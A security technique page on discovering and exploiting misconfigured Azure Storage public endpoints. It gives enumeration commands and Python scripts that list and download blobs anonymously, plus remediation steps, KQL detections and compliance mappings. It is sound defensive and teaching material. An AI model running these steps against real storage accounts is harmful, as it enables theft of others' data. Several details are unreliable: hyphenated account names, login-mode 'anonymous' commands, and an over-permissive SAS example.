| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-013 |
| MITRE ATT&CK v18.1 | T1526 - Cloud Service Discovery |
| Tactic | Reconnaissance / Discovery |
| Platforms | Entra ID / Azure |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure Storage Account versions |
| Patched In | N/A (Configuration-based, not a code vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Storage Accounts are cloud-based repositories for unstructured data (blobs, files, tables, queues). By default, these accounts have public endpoints accessible via HTTPS from the internet (e.g., mystorageaccount.blob.core.windows.net). When misconfigured to allow anonymous public access on containers or blobs, any threat actor can discover the storage account name, enumerate containers, and download sensitive data without authentication. This represents a fundamental breach of the confidentiality pillar of the CIA triad.
Attack Surface: Azure Storage Account public endpoints, anonymous blob/container access levels, lack of firewall rules, absence of private endpoints, and insufficient RBAC configurations.
Business Impact: Complete data exfiltration, regulatory violations, and reputational damage. Exposed storage can contain customer PII, financial records, source code, cryptographic keys, backups, and proprietary algorithms. Attackers can stage malware, host phishing infrastructure, or pivot to other cloud resources.
Technical Context: Discovery typically takes minutes using enumeration tools (storage account name + container enumeration). Exploitation is immediate once public access is confirmed—no credentials needed. Low detection likelihood because downloads through public endpoints generate minimal audit logs by default.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2 | Ensure that Public Network Access is Disabled for storage accounts |
| CIS Benchmark | 5.1 | Ensure that Storage blobs restrict public access |
| DISA STIG | V-222569 | Azure must restrict anonymous access to storage blobs and containers |
| CISA SCuBA | SC-7(1) | Boundary Protection - All Azure Storage Accounts must have restricted access |
| NIST 800-53 | AC-3 | Access Enforcement – Storage access must be controlled via RBAC or private endpoints |
| NIST 800-53 | AC-6 | Least Privilege – Default-deny public access, enable only for specific resources |
| GDPR | Art. 32 | Security of Processing – Must implement encryption, access controls, and data minimization |
| DORA | Art. 9 | Protection and Prevention – Cloud storage must be segregated and access-restricted |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Public endpoints create exploitable weak points |
| ISO 27001 | A.7.1 | User Access Management – Storage access must align with organizational roles |
| ISO 27001 | A.14.1 | Information Security Requirements Analysis – Data classification must inform access controls |
| ISO 27005 | Risk Scenario | “Unauthorized access to cloud storage due to public endpoint misconfiguration” |
Supported Versions:
Tools (Optional):
# Attempt to list blobs in a publicly accessible container
az storage blob list --account-name <storage_account_name> --container-name <container_name> --auth-mode login
What to Look For:
# Enumerate storage account properties to detect public endpoints
Get-AzStorageAccount -ResourceGroupName <resource_group> -Name <storage_account> | Select-Object -Property @{Name='PublicNetworkAccess';Expression={$_.PublicNetworkAccess}}
What to Look For:
PublicNetworkAccess = Enabled – Indicates public endpoint is active.PublicNetworkAccess = Disabled – Public endpoint is restricted.GET https://<storage_account_name>.blob.core.windows.net/<container_name>?restype=container&comp=list
What to Look For:
Supported Versions: Azure Storage Accounts all versions
Objective: Identify potential storage account names using common naming patterns.
Command (Web Browser / OSINT):
Organizations often use predictable storage account naming (e.g., companyname-prod-storage, client-backups, logs-archive). Conduct passive reconnaissance:
# Using DNS enumeration to discover storage accounts
nslookup -type=A <company>.blob.core.windows.net
dig +short <company>.blob.core.windows.net
# Or use cloud enumeration tools
python3 cloudmapper.py --account-name <company> --region global
Expected Output:
companydata.blob.core.windows.net has address 20.60.64.89
What This Means:
OpSec & Evasion:
Troubleshooting:
-prod, -staging, -backup).Objective: Enumerate containers and blob names to identify sensitive data.
Command:
curl -s "https://<storage_account_name>.blob.core.windows.net/?comp=list" | grep -oP '<Name>\K[^<]*' | head -20
Expected Output:
container-backups
customer-data
logs-2025-01
source-code-repo
What This Means:
OpSec & Evasion:
Objective: Retrieve blob contents if no access restrictions are in place.
Command:
# Download individual blob
curl -s "https://<storage_account_name>.blob.core.windows.net/<container_name>/<blob_name>" -o downloaded_blob.bin
# Or use Azure CLI
az storage blob download --account-name <storage_account_name> --container-name <container_name> --name <blob_name> --auth-mode login
Expected Output:
Blob downloaded successfully to downloaded_blob.bin
What This Means:
OpSec & Evasion:
Troubleshooting:
403 Forbidden or 401 Unauthorized
404 Not Found
References & Proofs:
Supported Versions: Python 3.6+, azure-storage-blob 12.0+
Objective: Use subdomain enumeration or OSINT to identify candidate storage account names.
Script:
import socket
import sys
def check_storage_account(account_name):
"""Test if a storage account exists and is publicly accessible."""
domain = f"{account_name}.blob.core.windows.net"
try:
ip = socket.gethostbyname(domain)
print(f"[+] Account '{account_name}' exists: {ip}")
return True
except socket.gaierror:
print(f"[-] Account '{account_name}' not found")
return False
# Generate candidate names
candidates = [
"companydata-prod", "companydata-staging", "companydata-backup",
"client-files", "customer-backups", "logs-archive"
]
for candidate in candidates:
check_storage_account(candidate)
Expected Output:
[+] Account 'companydata-prod' exists: 20.60.64.89
[+] Account 'customer-backups' exists: 20.62.128.55
[-] Account 'client-files' not found
What This Means:
Objective: List all containers and their contents.
Script:
from azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas
from datetime import datetime, timedelta
import requests
account_name = "companydata-prod"
container_name = "customer-data"
# Attempt anonymous access
endpoint = f"https://{account_name}.blob.core.windows.net"
try:
# Try to list containers anonymously
client = BlobServiceClient(account_url=endpoint, credential=None)
containers = client.list_containers()
for container in containers:
print(f"[+] Container: {container['name']}")
# List blobs in container
container_client = client.get_container_client(container['name'])
blobs = container_client.list_blobs()
for blob in blobs:
print(f" └─ {blob.name} ({blob.size} bytes)")
except Exception as e:
print(f"[-] Error: {e}")
Expected Output:
[+] Container: customer-data
└─ customer_2025_01.xlsx (2048000 bytes)
└─ financial_records.csv (512000 bytes)
└─ source_code.zip (10485760 bytes)
Objective: Retrieve blob contents programmatically.
Script:
from azure.storage.blob import BlobServiceClient
account_name = "companydata-prod"
container_name = "customer-data"
blob_name = "customer_2025_01.xlsx"
endpoint = f"https://{account_name}.blob.core.windows.net"
client = BlobServiceClient(account_url=endpoint, credential=None)
try:
blob_client = client.get_blob_client(container=container_name, blob=blob_name)
# Download blob
download_stream = blob_client.download_blob()
with open(f"/tmp/{blob_name}", "wb") as f:
f.write(download_stream.readall())
print(f"[+] Downloaded: {blob_name}")
except Exception as e:
print(f"[-] Failed: {e}")
Expected Output:
[+] Downloaded: customer_2025_01.xlsx
OpSec & Evasion:
References & Proofs:
This section is not applicable. MISCONFIG-013 is a configuration-based exposure, not an executable attack that can be simulated through Atomic Red Team.
*.blob.core.windows.net from non-standard IP addresses or user agents.*.blob.core.windows.net subdomains.StorageRead operations in $logs container (if logging is enabled). Path: https://accountname.blob.core.windows.net/$logs/blob/YYYY/MM/DD/HHMM/...Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Update-AzStorageAccount -ResourceGroupName "MyResourceGroup" `
-Name "mystorageaccount" `
-PublicNetworkAccess Disabled
Manual Steps (Azure CLI):
az storage account update \
--resource-group MyResourceGroup \
--name mystorageaccount \
--public-network-access Disabled
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Set-AzStorageContainerAcl -ResourceGroupName "MyResourceGroup" `
-StorageAccountName "mystorageaccount" `
-ContainerName "my-container" `
-Permission Off
Manual Steps (Azure CLI):
az storage container set-permission \
--account-name mystorageaccount \
--name my-container \
--public-access off
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
Update-AzStorageAccountNetworkRuleSet -ResourceGroupName "MyResourceGroup" `
-Name "mystorageaccount" `
-DefaultAction Deny
Add-AzStorageAccountNetworkRule -ResourceGroupName "MyResourceGroup" `
-Name "mystorageaccount" `
-VirtualNetworkResourceId "/subscriptions/.../subnets/default"
Manual Steps (Azure Portal):
pe-mystorageaccount-blobManual Steps (PowerShell):
$storageAccount = Get-AzStorageAccount -ResourceGroupName "MyResourceGroup" -Name "mystorageaccount"
New-AzPrivateEndpoint -ResourceGroupName "MyResourceGroup" `
-Name "pe-mystorageaccount-blob" `
-ServiceConnection (New-AzPrivateLinkServiceConnection `
-Name "pe-conn-blob" `
-PrivateLinkServiceId $storageAccount.Id `
-GroupId "blob") `
-Subnet (Get-AzVirtualNetworkSubnetConfig -Name "default" `
-VirtualNetwork (Get-AzVirtualNetwork -ResourceGroupName "MyResourceGroup" -Name "MyVNet"))
Manual Steps (Azure Portal):
Manual Steps (Azure Portal):
RBAC: Assign Storage Blob Data Reader role only to users/apps that need read access; never use Storage Account Owner for daily operations.
Manual Steps (Azure Portal):
SAS Tokens: If shared access is required, generate time-limited SAS with minimal permissions.
Manual Steps (PowerShell):
New-AzStorageAccountSASToken -ResourceGroupName "MyResourceGroup" `
-StorageAccountName "mystorageaccount" `
-Service Blob `
-ResourceType Service,Container,Object `
-Permission "racwd" `
-ExpiryTime (Get-Date).AddHours(1)
# Check if public network access is disabled
$storageAccount = Get-AzStorageAccount -ResourceGroupName "MyResourceGroup" -Name "mystorageaccount"
$storageAccount.PublicNetworkAccess
Expected Output (If Secure):
Disabled
What to Look For:
Disabled = public endpoints are blocked.Enabled = public endpoints are still accessible (remediation incomplete).KQL Query 1: Unauthorized Blob Access Attempts
StorageAccountLogs
| where OperationName == "GetBlobProperties" or OperationName == "ListBlobsHierarchy"
| where AuthenticationStatus == "Anonymous" or AuthenticationStatus == "Unauthenticated"
| where StatusCode == 200
| summarize Count=count() by UserAgent, ClientIP, OperationName, TimeGenerated
| where Count > 10
What This Detects:
Applies To: All Azure Storage Accounts with logging enabled.
KQL Query 2: Changes to Blob Public Access Level
AzureActivity
| where OperationName == "Create or Update Container" or OperationName == "Create Blob Container"
| where Properties.PublicAccess == "Container" or Properties.PublicAccess == "Blob"
| project TimeGenerated, Caller, OperationName, Properties, ResourceGroup
What This Detects:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-005] Azure Resource Graph Enumeration | Attacker maps Azure environment to identify storage accounts |
| 2 | Current Step | [MISCONFIG-013] | Storage Account Public Endpoints exposed |
| 3 | Exfiltration | [T1567.002] Exfiltration Over Alternative Protocol | Download sensitive blobs to external location |
| 4 | Impact | Data Breach / Compliance Violation | Leaked customer PII, source code, or financial records |
{companyname}-prod-storage, logs-archive, backup-2024